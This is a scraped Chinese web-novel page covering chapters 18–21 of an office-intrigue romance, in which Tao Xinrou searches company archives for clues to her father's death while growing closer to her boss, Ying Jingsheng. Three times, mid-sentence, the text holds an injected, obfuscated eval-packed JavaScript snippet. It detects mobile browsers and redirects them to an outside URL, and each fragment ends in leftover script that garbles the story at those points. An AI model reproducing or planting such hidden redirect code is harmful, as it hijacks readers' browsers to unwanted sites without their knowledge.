应景晟没想到应父直接打来追问，他缓神道：“爸，我最近刚接手酒店，很多事需要亲力亲为，住在这边方便随时处理突发状况。” 电话那头传来明显的一声叹气：“爷爷也听说了你二伯聘你为酒店经理的事，这事虽来得突然，且有些不合常理，但爷爷斟酌后，还是觉得这也不是一件坏事。景晟，爷爷上次也跟你说过，你二伯经营多年，有什么事，别都自己一个人扛着，记得家里还有人。” 应景晟握着手机的手指微微收紧，他听得明白，这份沉甸甸的关怀是背后有家里人的支撑，但也确是这样的关心，让他心头泛起一丝复杂的涩意，他更应该把这件事做好。 “爸，我明白了，您和爷爷不用担心，我会处理好的。” * 收到能进入档案馆好消息的这一天，陶新柔的心情都特别好。 天都蓝了，草都绿了，李美丽都是顺眼的。 她想了想，这一切功劳都要归咎于应景晟。 于是她决定，请应景晟吃餐饭。 XR：小应总 XR：谢谢您让我进项目组！为了表示我的感激，我想请您吃餐饭，您晚上有空吗？ 发送完毕之后，陶新柔就管自己工作了，想着应景晟也不会那么快回复。 谁知刚放下手机，震动就来了。 晟：吃饭不必了，好好工作就行。 XR：那怎么行，这顿饭我必须请，您想吃什么随便点，人均50以内的！ 晟：人均50？ XR：对啊，这个月工资还没发呢，50已经是巨款了，您要是不满意，我可以再加10块，60，不能再多了！ 发完这段话，陶新柔就看到对话框一会儿对方正在输入，一会儿显示昵称，显然应景晟是打了字又删除的。 她想是不是因为自己太抠门了，应景晟都不知道怎么接话了。 但预算确实有限，再加上总裁在她家都住了快三个月了，她把家里的软件硬件统统更新了一遍，别说流动资产了，固定资产都快动到了。 陶新柔看着一点点往下掉的存款数字，心也在滴血。 大半晌，应景晟那边都没有动静，陶新柔坐不住了，自己都提出来请他吃饭了，总不能太掉面子，她又发了几句过去。 XR：要不70？ XR：80？ XR：90？ XR：不能再多了！再多我只能薅公司羊毛了！ 晟：不用了。 应景晟总算发来了三个字。 不用了是什么意思？是不用她请客了？是拒绝了？还是不让她贿赂，划清界限？ 晟：我怕你吃破产。 陶新柔的心猛地往下一坠。 完了，看来总裁是拒绝的意思。 她正在想怎么回复，应景晟又发来了消息。 晟：所以我请。 XR：！！！ * 刚下班，陶新柔就去酒店附近的地方等应景晟了。 这还是两人名义上的第一次约会。 不对不对，不是约会，是感谢饭！ 陶新柔在心里疯狂纠正自己，但脸还是不受控制地有点发烫。 她站在约定的路口，看着来来往往的车流，忽然意识到一个问题，她还没跟母亲说今晚不回家吃饭。 正想着要不要发个消息，手机就响了。 “小柔啊，今晚回不回来吃饭？我买了条鱼，想着清蒸给你吃。对了，小应总今晚回来吃吗？他这几天好像都挺晚的，我要不要多做点？” 陶新柔心里咯噔一下。 这三个月下来，陶母早就习惯了家里多个人，偶尔还会多做点饭菜，问应景晟回不回来吃。 “妈，那个……今晚我和小应总都不回去吃了。”陶新柔小心翼翼地开口。 电话那头沉默了两秒。 “你们？……你们两个？” “嗯，我请他吃饭，感谢他让我进项目组。” “哦……那行，你们去吧，妈把鱼放冰箱里，等你们明天回来一起吃。” 说完就挂了电话，但陶新柔却听出了陶母语气里的失落。 只一抬头，就看见应景晟正站在马路对面，隔着车流看着她。 他穿着一件深灰色的休闲外套，比平时穿正装的时候看起来柔和了一些。 夕阳的余晖落在他身上，仿佛镀上一层暖色。 等红灯变绿，他随着人流走了过来。 “等很久了？” “没有没有，刚到。那个，小应总，我想问一下……能带上我妈吗？” “嗯？” 应景晟脚步一顿，转头看她。 陶新柔赶紧解释：“我不是要带家属蹭饭的意思，就是刚才我妈打电话问我回不回去吃饭，我说不回去，感觉挺不好意思的，您要是觉得不方便就算了，我让她自己吃。” “回家带上阿姨一起吧。” 陶新柔一愣：“啊？” “我现在给安然打电话，你让阿姨在家里等我们。” 四十分钟后，陶新柔带着陶母出现在酒店走廊。 陶母上下左右打量，金碧辉煌的走廊带给她新鲜感。 陶母一路上都在念叨：“你这孩子，怎么不早说小应总要请我们来这儿吃饭，我穿着这身就出来了，多不合适。还有，你不是说是你请小应总吃饭吗？怎么让人家请客了？” “是他主动提的，还说要带上您。”陶新柔小声辩解。 “真的？” “嗯。” “哎呀，真没想到，他这个人这么贴心。” 陶母笑得眼睛都快弯到眉梢去了。 服务员已然带着两人来到包间门口，陶母理了理衣衫，才走进去，应景晟已经在包厢里点好菜等她们了，看到母女俩到来，应景晟站起身，拉开一旁的椅子热情招呼：“阿姨，您来了，快坐。” 陶母很不好意思，虽然这三个月她一直跟不敢跟应景晟多打照面，但今天还是在这个大场合见到他，陶母显得十分拘束。 “好，谢谢小房，让你破费了。” “住您家三个月，早就该请您吃饭了。” 应景晟说着给陶母倒了一杯茶。 灯光落在他脸上，把他的眉眼照得格外柔和。 一顿饭吃得热热闹闹。 陶母跟应景晟聊着家常，应景晟也听得很认真，不仅热情回应，还聊起了自己家的事。 陶新柔在旁边默默扒饭，心里却在想：这人怎么这么会聊天？平时不是挺高冷的吗？ 还是？…… 有些呼之欲出的答案，她不想去想。 * 吃完饭，应景晟带着母女俩回家。 进了小区，陶母走在前面，哼着歌，显然心情很好。 陶新柔和应景晟并排走在后面，路灯把他们的影子拉得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239408|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长。 陶新柔看着两人的影子，分分合合，有时候，她故意往分开的影子那边靠拢一些，但离得太近了，她又会走开。 脑子里的两个小人不断打架。 看起来就像是喝了假酒。 到了家里，三个人在客厅分别。 刚进房间，陶母就凑了上来。 “小柔，这小应总，妈看着行。” 陶新柔的脸腾地红了。 “妈你说什么呢，他是我老板！” “老板怎么了？老板也是男人嘛。”陶母笑眯眯的，“再说了，人家主动提出带上我，这份心意，妈太能理解了。” 陶新柔张了张嘴，说不出话来。 什么太能理解了，她不想懂，也不愿意懂。 “要是有这么个可能，妈帮你试探试探。” “妈，你别凑乱子了。” “好好好，妈不说了，早点睡吧。” 陶母去了洗手间，陶新柔站在房间里，发了很久的呆。 她想起刚才饭桌上，应景晟给她夹了一筷子菜，什么都没说，只是放在她碗里。 如果他真的是男朋友…… 陶新柔捂住脸。 啊啊啊啊，她不要Y.Y老板啊！ * 文化项目启动前，陶新柔请了一天假，带母亲前往医院。 市第一医院心内科候诊区，空气里弥漫着消毒水的气味。 陶新柔陪着母亲坐在椅子上，等待叫号。 就在这时，走廊一头传来一阵嘈杂声，陶新柔下意识抬眼望去，只见一群人簇拥着一个人，正从特需病区的方向走来。 被围在中心的，正是西装革履、面带得体微笑的应怀山。 他身旁跟着张宏斌，前后还有几位看起来像是医院领导模样的人，正满脸堆笑地与他交谈。 “应副总百忙之中还亲自来看望退休的老同志，真是令人感动啊。” “应该的，老员工是集团的财富，他们为云麓奉献了一生，现在身体不适，我们理应关心。”应怀山声音温和，一边说，一边还亲切地拍了拍旁边一位坐在轮椅上的老人。 闪光灯适时地亮了几下，随行人员记录着这温馨场面。 陶新柔看清中心的人后，立刻低下头，避开视线。 怎么好巧不巧，竟然遇到领导！ 然而叫号器却适时地喊了起来：“请14号王慧娟到2号诊室，请14号王慧娟到2号诊室。” 是母亲的名字。 陶新柔赶紧扶着母亲起身，想趁着那边人群还没散开，悄悄穿过走廊。 陶新柔脚步一滞，抬头就看见张宏斌从应怀山身后探出身来，他快步走上前，目光很自然地从陶新柔脸上落到她搀扶着的陶母身上：“欸？小陶？这么巧，你也在这儿？这位是……您母亲吧？” 完了，被发现了。 陶新柔不自觉地握紧了母亲的手几分，挤出一个僵硬的笑容，转过头回复：“啊，是张经理，张经理好。我带我妈来复查，已经轮到我们了，不好意思，我得赶紧带我妈进去了。” 这边的动静不大，却足以引起中心人物的注意。 原本正与轮椅老人温言话别的应怀山，目光若有似无地飘了过来，随即对着身边几位医院负责人略一颔首，便自然而然地朝着陶新柔母女的方向走了过来。 他一动，那一小圈人自然也如同卫星般跟随移动。 张宏斌见状，立刻侧身，扬声介绍道：“应副总，真巧，这是我们酒店的员工陶新柔，今天陪母亲来看病。”他又转向陶新柔，热络得仿佛自家事，“小陶，你母亲是哪方面的问题？今天真是赶巧了，应副总过来看望老同志，这几位都是医院的专家领导，正好可以请他们帮忙看看。” 一瞬间，陶新柔和母亲成了这个小圈子的临时焦点。 19. 第十九章 一位院领导模样的人立刻上前询问：“阿姨您好，身体不舒服吗？是在我们心内科看的吗？有什么可以帮忙的，您尽管说。” 陶新柔看到那人胸前的牌子上挂着“主任医生李强杰”。 “是啊，李主任，既然是我们集团的员工，你可得好好关照关照。”应怀山听着也走过去拍了拍李强杰的肩膀，围拢的人群继而过来拍他们。 只是应怀山的视线又落在了陶母的脸上，不自觉地打量起来：“我们……是不是在哪里见过？” 陶母眼神闪躲，握着陶新柔的手紧了几分，陶新柔感觉到了，她急忙打断：“谢谢应副总关心，我们已经约好医生了，只是常规复查。” “哦，原来是这样……”应怀山意味深长地点点头，也没坚持，“员工家属的健康，也是我们很挂心的事。有什么需要，一定要跟公司提，集团是大家的坚强后盾。” 这话说得冠冕堂皇，周围几位陪同人员纷纷点头称是。 陶母有些局促，连声道谢：“谢谢领导关心，小柔在公司承蒙您照顾了。” “陶新柔工作很努力，是个好苗子。”应怀山笑笑，“那我们就先走了，阿姨，您有需要别客气。” 应怀山带着人先行离开，李强杰把给陶母看病的医生喊出来，耳语了几句。 看来这人情债是不得不领了。 “妈，下次我们换个医院看吧。”陶新柔说道，陶母点点头。 * 几天后，文化传承项目组正式启动，第一次会议就在总部档案馆旁边的专用会议室召开。 在应景晟的带领下，陶新柔、魏嘉信和其他部门的几个同事一起来到总部，而迎接他们的不是别人，正是应怀山。 应景晟似乎也没想到，表情略显惊讶：“二伯？” 团队成员也都毕恭毕敬地喊着“应副总”。 “哎哟，小应总亲自带队来了。”应怀山快步上前，笑容加深，那眼神看似温和却带着无形的压力，“我刚刚才听说你们这个文化传承项目，立意非常好！我听说最近需要借阅总部档案，就顺路过来看看，给大家鼓鼓劲。”说着，目光扫过他身后略显拘谨的团队成员，客气道，“嗯，都是年轻人，集团的历史底蕴，确实需要年轻人好好挖掘，传承，大家加油！” 应景晟面无表情，这些冠冕堂皇的话在他听来不过是意有所指。 “谢谢应副总的关心，我们会尽力做好。” 应怀山呵呵一笑，摆摆手：“你们忙，我就是来看看。对了，我还带来一个人，项目中有什么需要支持的，尽管开口。”他意味深长地看了应景晟一眼，才把身边的人往前一推。 女人的高跟鞋发出“咚咚”两声，她上前一步，目光炯炯，缓缓扫过众人。 唇角牵起一丝近乎公式化的弧度，扶了扶眼镜，声音正式道：“大家好，我是周韵，是云麓集团办公室的负责人，你们叫我周主任就好，我将协助本次项目与档案馆的协调工作，各位在查阅过程中的所有需求与疑问，都可以向我提问。” 她站在那里，姿态恭谨，却像一道无声的闸门，摆明了就是要横亘在他们与那些尘封的档案之间。 应怀山满眼满意，点点头又道：“大家有什么问题都可以问周主任。那就先这样，大家加油努力干活吧，期待你们的成果。” 说完，才带着秘书离开。 直到那身影消失在走廊转角，凝滞的空气才重新流动起来。 陶新柔后背沁出一层冷汗，她抬眼看向应景晟，见他神色如常，但眼底深处却掠过一丝敌意。 他什么也没说，只是示意大家进入会议室。 周韵也跟着大家一起聆听会议方案、调研流程，遇到不可行的地方还会举手示意说明总部的流程。 会议结束后，大家前往临时安排的办公区域。 周韵寸步不离地跟着项目组，总部为她安排在了靠门的办公桌，她利落地打开了笔记本电脑，没有抬头，趁着无人说话之际似是自言自语道：“为了更高效地协调，我会在这里办公，方便大家随时沟通。” 众人面面相觑，却也恍然大悟。 方便沟通？是方便监视吧。 应景晟看着周韵的行为皱了皱眉头，但也无可奈何，只让大家遵守总部的规矩，便和王安然走了出去。 等两人走出总部，坐上车王安然才小声道：“小应总，应副总肯定是从档案室那儿听说消息了，今天才会突然出现的，是我办事不周。” “你现在不用说这些，能让我们在这里查档案已经是他最大的让步了，毕竟是在他眼皮子底下干事，若是他不监督反倒有事，他监督了才让我放心，说明这件事没有什么变化。” “您说的是，那我们现在怎么办？还需要查吗？” “当然要查，还有，顺便看看陶新柔，到底在查什么。” “是。” * 在总部办公确实没有想象中的轻松，应景晟只申请了10天的时间，也就意味着陶新柔要在这10天内完成查阅相关资料。 只是一切都没她想象中的那么容易。 当魏嘉信拿着一份初步的档案查阅需求清单，交给周韵时，她一脸严肃：“这两份涉及十年前公司内部运营的评估初稿，属于未解密文件，不在本次项目授权调阅范围内，请修改清单。” 魏嘉信一愣，试图解释：“周主任，这两份只是作为背景参考。” “项目授权范围很明确，只限于已公开或可公开的服务类、文化类历史资料，一切以授权书为准。” 陶新柔心里一沉，她原本计划在后续申请中，也夹杂一些类似的文件，现在看来，周韵这道闸门，比她预想的更加森严。 应怀山派来的这个人，显然不让大家进入档案馆。 就在她心绪不宁时，周韵起身，抱着一叠刚打印出来的《档案馆查阅行为规范及本项目特别注意事项》，开始逐一发放。 “这是具体细则，请大家仔细阅读并签署承诺书。”周韵走到陶新柔桌边，将文件放下，手指在某一项条款上轻轻点了点，“尤其注意这一条，所有查阅需基于明确的项目需求，严禁任何与项目目标无关的私人化、指向性检索。档案馆系统有完善的日志记录和关键词筛查功能，任何异常查阅行为都将被记录并追溯。” 她看着陶新柔，公式化的笑容里又带着一丝冰冷的提醒：“大家都是第一次接触这类工作吧？务必严格按照规章来，这对大家都好。” 陶新柔迎着她的目光，只觉得一股寒意顺着脊椎爬上来。 这哪里是提醒，这简直是赤裸裸的警告！ 看来要查案还得想想其他法子。 进组的第三天，陶新柔查案依然毫无进展。 上午，周韵接了个电话，声音压得很低，但陶新柔离得近，隐约听到“您放心”“盯着呢”几个字。 陶新柔心里一紧，那个电话，多半是应怀山打来的。 她低头假装整理资料，脑子里却飞速转着。 照这个态势下去，别说查案，她连档案室的边都摸不着。 可她能怎么办？周韵盯得最紧，他们稍微有点动作，那道目光就跟过来。 午休时间，同事们三三两两去吃饭了。陶新柔没什么胃口，独自坐在临时办公位上发呆。 这么下去肯定不是回事，但连应景晟也无可奈何，这件事可能真没解，而且，她也不能直接跟应景晟说她想要查什么吧。 周韵那道闸门太严了。 不过，下午，一个令人意想不到的人居然出现了。 张宏斌来了。 一起来的还有他的秘书冯吉，两人手里拎着几个袋子，笑脸盈盈。 “大家辛苦了，小应总委托我给大家送点下午茶，我正好来总部办事，顺路过来看看大家。”他说着，就让冯吉把咖啡分发下去。 周韵皱着眉头站起身，脸上依旧是那副公式化的礼貌：“张经理，我们这里不得闲杂人等入内。” 张宏斌尴尬了一下，其他人看着他嗤笑起来。 他拿起一杯咖啡，笑着走过去：“哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248646|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，周主任，其实这个事吧……”张宏斌说着把周韵喊了出去。 陶新柔离门边不远，竖着耳朵也只隐约听到“进度”、“配合”几个零碎的词。 简短交谈后，张宏斌便带着冯吉离开了，他前脚刚走，周韵就进来拍了拍手。 “各位同事，考虑到项目时间紧，为了提升效率，从今天下午开始，在遵守所有规范的前提下，你们可以自行前往翻阅，但每次进出必须两个人一同进入，且在我这里登记，查阅内容必须与清单严格对应，另外再说一下，档案室的各个角落都有监控，如有任何缺漏遗失，请提前汇报，否则追查责任。” 这个突如其来的放宽政策让众人都愣了一下。 许多同事都表示能提高效率，只有陶新柔心里警铃大作。 张宏斌刚来过，周韵就改变了策略，这绝对有问题！ 但这是她等待已久的机会，明知可能是陷阱，她也必须往里跳。 不一会儿，许多同事都拿着清单去找周韵签字，陶新柔也把清单夹杂在其中，与同事们混进了档案室。 在一众档案中，她很快找到了09年档案，在一份“2009年度分公司优秀后勤保障人员风采展示”的附录材料里，她看到了父亲陶海振的名字和一张小小的单人工作照，照片上的父亲穿着工作服，笑容明亮。 她强压激动，继续寻找。 按照档案关联索引，这份总结应该附有一份对应的相关人员详细事迹材料附件。 然而，她翻遍了整个档案盒，甚至查看了前后几年的相关盒子，却怎么也找不到那份应该存在的附件。 就连之前的人事档案调动，也不见了。 她仔细搜寻，发现近几年的档案都出现了缺失，尤其是涉及2009年上半年具体工作记录的部分，像是被替换过，留下的都是一些无关痛痒的通用内容。 档案被动了手脚，有人提前清理了关键部分！ 陶新柔的心沉到了谷底。 她最初的猜想被证实了，父亲的死绝非意外，而且有人一直在掩盖，甚至在这么多年后，依然警惕地防范着任何可能的调查。 她强迫自己冷静下来，回到临时办公室。 “周主任，我在查阅这份2009年西南分公司的总结时，发现里面提到的‘相关人员详细事迹材料附件’缺失了。按照档案馆的归档规范，这类附件通常应该一并保存。我担心是不是归档时遗漏了，这可能会影响我们项目结果的完整性。” 周韵接过文件看了看，随后站起身：“我去核查一下归档记录和相邻档案，你稍等。” 陶新柔点点头，在周韵经过她身边准备去档案馆时，忽然拉住了周韵：“周主任。” “啊？” 瞬间，几个画面强行涌入陶新柔的脑海—— 周韵坐在电脑前，屏幕上是详细的档案调阅日志，她正在整理一份清单。 周韵语气恭敬地打着电话：“……是的，应副总，档案室对他们开放了，重点关注了后勤相关部分。” 电话那头，应怀山的声音低沉：“嗯，该收的都收好了吧？” “应副总您放心，我这边一直盯着。” “很好，特别关注那个叫陶新柔的，仔细点。” “是，我会重点注意她。” …… “怎么了？”周韵问。 画面一闪，陶新柔这才回过神。 “哦，没什么，我是想说你的领子没整理好。” 陶新柔指了指自己的领子。 周韵咳嗽了一下，整理好领子：“你在这里等我一下，”说罢再次转身离开。 陶新柔的心忽然加速跳起来，应副总？应副总就是应怀山吧。 应怀山为什么要盯着她？ 除非他早就知道，除非这件事他想要隐瞒。 想要隐瞒就意味着这件事是应怀山做的！ 陶新柔心跳如雷，她不敢相信，原来她一直想找的凶手就在离她不远的地方。 可她要怎么才能扳倒他？ 20. 第二十章 刚坐回工位没多久，周韵就朝陶新柔走来回复：“陶小姐，我核实过了，归档记录显示那份附件因当年格式不规范且内容与主件大量重复，在五年前的档案整理中已经优化掉了。另外，因为年代久远，部分档案存在内容缺失或优化调整是正常现象。如果项目需要，我帮你找。” 她听出来了周韵是在撒谎，但她什么也不能说，只能讷讷点头：“好，我知道了，谢谢周主任，我会自己再找的。” 看着周韵离开，陶新柔心乱如麻。 周韵的回答，更证实了这一切都是应怀山搞的鬼！ 应怀山不仅知道她在查，还会通过周韵实时监控。 她下意识地看向窗外，正好看到张宏斌的身影并未离开总部大楼，而是穿过中庭，径直走向了另一栋集团核心管理层的附楼。 他的靠山，肯定是应怀山。 那么之前让他们这些新人站队的说法就能说得通了，因为应怀山必须要加强自己的势力，在集团站稳脚跟，让他无人敢动。 而自己，就像一只落入蛛网的小虫，似乎每一步，都被暗处的蜘蛛看得清清楚楚。 但越不让她做的事情，她越要做。 陶新柔决定调整策略，梳理那些未被清理的边角料。 比如其他分公司的同期文件、集团总部的通用报道、甚至是一些看似无关的工会活动记录、内部通讯稿件，试图从细微末节中，拼凑出2009年前后集团的整体环境与潜流。 她知道，直接证据可能已被销毁，但时代背景和人心的痕迹，或许会残留在这些不那么引人注目的角落。 硬碰硬不行，就打游击。 明修栈道，暗度陈仓！ 应怀山，你能清空档案，还能清空所有事吗？ * 另一边，应怀山办公室内，他刚听完周韵关于档案室的这周汇报工作，指尖在实木扶手上缓缓敲击。 从他得知应景晟要做文化传承相关项目的时候起，他就预料到这件事不简单。 他想到自己那两个不成器的儿子，心头就一阵烦躁。 若再不抓紧，等老爷子真把一切都托付给应景晟，他这一脉怕是连汤都喝不上热乎的。 必须未雨绸缪，将一切隐患掐灭在萌芽里。 本以为只是应景晟一个人在查案，但现在看来，还有人更需要了解。 那就是他身边突然冒出来的陶新柔。 听说他俩同居，还都曾在客房部工作，这不得不让人怀疑，两人之间有点什么。 人是他招进来的，他看过每一个人的简历，也做过背调。 陶新柔那份简历他还有点印象，当时只觉得这女孩背景干净得有些单薄，又是应届生，放在客房部最合适不过。 他记得简历家庭成员栏里只写了母亲，父亲那栏是空的，当时并未深想。 酒店基层流动大，家庭背景简单的孩子多了去了。 前几天酒店那边说要来总部查阅档案的时候，他就起了疑心，当看到来查档的名单时本身还没有怀疑，但看到陶这个姓，让他心头猛地一惊，再加上脑海中隐隐闪过的一些消息。 那天，他明明只是在医院第一次见到她和她母亲，不知怎的，他就开始担心她了。 事到如今，项目启动会上，他又再次见到，而这次，她跟在应景晟身后，像是个会本本分分做事的孩子。 这一连串的消息聚集在一起，味道就全变了。 原本只想看看应景晟到底要做什么，但防得太死了，倒是把这茬忘了，于是他决定让张宏斌带去松口查档的消息。 现在看来，陶新柔果然查了09年的档案，还敢汇报，她的胆子真的是有点大。 如果她真是当年陶海振的女儿，那么…… 尘封的记忆被撬开了一丝缝隙。 如果真是这样，那她进入云麓，就绝不是偶然的求职！ 而应景晟，老爷子对他的偏爱是显而易见的，这次的文化项目说不定就是老爷子默许甚至授意，给他一个名正言顺接触旧档案的渠道，而陶新柔，或许就是应景晟选中的一把试图刺向他的“刀”。 “好一个侄儿，好一个房东。” 应怀山的眼睛微微眯起。 他从不相信巧合，只相信精心设计的必然。 这两个人，若说他们之间没有某种交易，他绝不相信。 他不能再坐以待毙了，必须把主动权牢牢抓在自己手里。 既然你们想查，我就让你们查，但查什么，查到什么程度，得由他说了算。 应怀山起身，伏在桌前拿起电话。 他拨下张宏斌的电话：“宏斌啊，你最近来总部的时间少了不少，是因为我那侄儿不让你来吗？” 张宏斌那头显得有些着急：“应总，当然不是，只是现在新官上任三把火，总得帮着做点什么。” “嗯，你考虑得很周到，我有个想法，不知是否可以帮到你的忙。” “应总，您说。” “你们那个项目，董事会很看好，你们也要好好做，还有，上次你来送下午茶这件事就办的很好，这段时间也来多来走动走动，慰劳慰劳辛苦的同事们。” 张宏斌那边一愣，随即明白了什么：“是，应总，我下午就来一趟。” * 应景晟坐上了总经理位置，陶新柔又被派去了总部工作，两人几乎没碰过面。 这天陶新柔下班后，应景晟也难得准时下班，三个人才重新坐在一起吃晚饭。 刚吃完晚饭，应景晟便主动帮着刷碗。 水流声哗哗作响，厨房空间狭小，陶新柔擦着灶台，两人之间的距离近得能闻到彼此身上淡淡的气息。 “在总部还适应吗？”应景晟忽然开口。 陶新柔擦灶台的手微微一顿，虽然这问题平常得像上级关心下属，但从他嘴里问出来，却让她心里莫名泛起一丝异样。 他一定是想问项目进展。 陶新柔在心里对自己说。 “还行，就是规矩多，查档不如想象中方便。” “周韵盯得很紧？”应景晟又问。 “嗯，挺严的，每一步都要报备，感觉不像在做项目，像是被监视。”陶新柔不自觉地抱怨。 应景晟关小了水流，拿起干布擦拭：“谨慎点好，你自己也多注意，别碰不该碰的线，否则还要担心你。” 担心？ 陶新柔转过头，正对上他不知何时抬起的视线。 那双深邃的眼睛里映着厨房温暖的灯光，她似乎看到了一些难以名状的东西，像是关切。 一瞬间，陶新柔竟然冒出了一股心动感。 那句话怎么说来着，小别胜新婚。 呸！ 他俩只是房东和租客的关系，没有其他。 “别让阿姨担心。”应景晟别过头又补充了一句，继续擦碗。 哦哦，看来他只是想关心项目的进展，而她却在想一些有的没有。 调整好状态，陶新柔回复：“知道了，谢谢小应总关心。” “就我们两个人的时候你可以不用叫小应总，我不习惯。”他忽然说。 陶新柔愣了一下，脱口而出：“那叫什么？” “叫名字就行。” 陶新柔愣了愣，这……多不礼貌啊。 她感觉有点喊不出口。 但还是鬼使神差地小声试探：“应……景晟？” 他没回头，只是“嗯”了一声。 两个人的耳根都红了。 他将擦干的盘子放进碗柜：“好了，我先回房间了。”说完转身离开了厨房。 陶新柔站在原地，听着他远去的脚步声，手里攥着抹布，心头乱糟糟的。 他刚才……是什么意思？到底是总裁对下属的例行关怀？还是有那么一点点，超越上下级的……别的意味？ 她甩甩头，试图把这些乱七八糟的念头甩出去。 陶新柔，清醒点！他是谁？别被一点点似是而非的关心弄晕了头！ 她思考着，又开始清洗葡萄。 只是在她思考之际，陶母从客厅走了进来：“小柔，刚才你们在聊什么呢？我看他，好像挺关心你的。” 陶新柔脸一红：“妈，你在说什么，他是总裁，只是以上司关心下属来问问项目进展而已。” “是吗？这几天你俩没碰到面，他还老让我提醒你别总是吃些垃圾食品，不健康。” 陶新柔震惊：“啊？不会吧？他怎么知道我点外卖？” “当然是关心你才知道啊，而且啊，刚才我在客厅都听见了，他说‘担心你’，这可不是普通领导会说的话。” 陶新柔脸更红了，把正在洗的葡萄搅成了滚筒洗衣机：“妈！那是您听错了，他说的是‘别让阿姨担心’。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259109|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “是吗？可我听着明明是‘还要担心你’在前头呢。” 陶新柔气急：“哎呀，跟你说不清了。” 陶母笑眯眯地拿起一颗葡萄：“要是真是这样，妈也就不担心了，房荣，啊不，小应总人还挺好的，你俩多接触接触，妈很好看你们。” “妈！您别乱说了，让人听见多不好！这盘葡萄您自己去送，我不去了！”陶新柔气得把洗好的葡萄端给陶母，自己转身走了。 陶母发笑，端着葡萄道：“好好好，妈不说了。” * 身边的人总是调侃两人，弄得陶新柔心神不宁的，在总部查档都没心思。 第二个礼拜进程过半，幸好查档进度已经完成的七七八八了。 陶新柔基本调查清楚了父亲当年的工作环境，确定了应怀山在调职之前就是父亲的直属上司，后来受到提携，把父亲等另外几人一起派去了西南分公司工作，只是不知道因为什么，后来父亲并没有与一起去的几个人在一个部门，而是直接与应怀山一起做事。 她总觉得，这里面还有其他猫腻，没有浮出水面。 这天陶新柔刚准备去档案室，脚尖还没拐出门，就撞见了晃悠过来的张宏斌，她心里咯噔一下，只见他朝陶新柔招招手，陶新柔只能过去。 “小陶啊，最近项目进行的还顺利吗？”张宏斌像个关心下属的老领导。 陶新柔脸上挂起标准打工笑：“谢谢张经理关心，还挺顺利的，就是想抓紧时间多梳理点资料。” “顺利就好，年轻人有干劲是好事，你们这个项目，上面很重视，成果好的话，对个人发展也是很好的机会。不过啊，我像你这个年纪的时候，也是一心扑在工作上，结果家里老人身体出了状况都没顾上照料，后来才明白，工作再重要，家里人也得顾好，你母亲的身体怎么样了？” 他像是随口感慨，陶新柔心里却警铃大作。 “一直在吃药控制，谢谢您记挂。” “控制着就好，但这类毛病千万不能大意，你妈妈去的医院，正好跟我们集团有合作协议，他们那边的心脑血管专家团队我也认识，前几天还一起吃了饭，你要是有需要，随时联系我，看看能不能帮忙预约个专家，做个系统的评估，听听权威意。” 陶新柔听着，却觉得字字句句都透着无形的压力。 拒绝了，是不识好歹，接受了，就等于将自己和母亲的信息，通过张宏斌，递到了他背后的人手中。 陶新柔脸上挤出感激又为难的表情：“这太麻烦您了，张经理，我不好接受。” 谁知张宏斌还不依不饶：“害，不麻烦，我知道你在担心什么，这也不是我私人的关系，你刚进我们公司，还不清楚吧，咱们公司有个‘晨曦计划’，专门资助向你这样优秀但家庭有困难的同事，今年的招募快要开始了，我提前通知你集团福利，要是有需要，我也帮你争取争取。你别有压力，先考虑考虑，跟家里商量一下，机会难得，对家里也是个保障，你说呢？” 张宏斌把话题尾巴抛给了陶新柔，便离开了。 陶新柔听得压抑，这份关怀来得自然又贴心，却比任何正式通知都让她感到窒息，让她连拒绝都找不到不伤和情的借口。 果然，等她下午还在处理工作时，邮箱就跳出一封群发件，内容正是张宏斌上午跟她说的关于集团员工关怀政策的通知。 收到通知后的半分钟内，她就收到了郑舒慧发来的消息：“新柔，你要不要给阿姨报名试试？集团肯定会给我们最大的优惠的。” 虽然两人分隔两地上班，但她跟郑舒慧仍然保持联系，偶尔吐槽领导和工作氛围，生活上的事也会彼此分享。 郑舒慧心思单纯，她当然不知道这件事就是冲着陶新柔来的。 她的预知果然正确，自己果然被人监控了，而且很有可能让她不得不“交出”母亲。 她抓了抓头发，感觉自己像个同时被推进天堂和地狱的倒霉蛋。 想到那次在医院时，应怀山一直盯着母亲看，似乎认识母亲的样子。 她想，会不会母亲也知道一些事，只是这里面水很深，母亲才不想让她过分涉足。 她现在虽然知道了应怀山是幕后主使，但在没有拿到充足的证据之前，她完全不能动手。 光靠自己的力量太难完成这件事了，不过也不是无解，她立刻想到了一个人——应景晟。 21. 第二十一章 可是怎么才能跟总裁说自己的难处，总不能让总裁知道自己要复仇的对象就是他们应家人吧？ 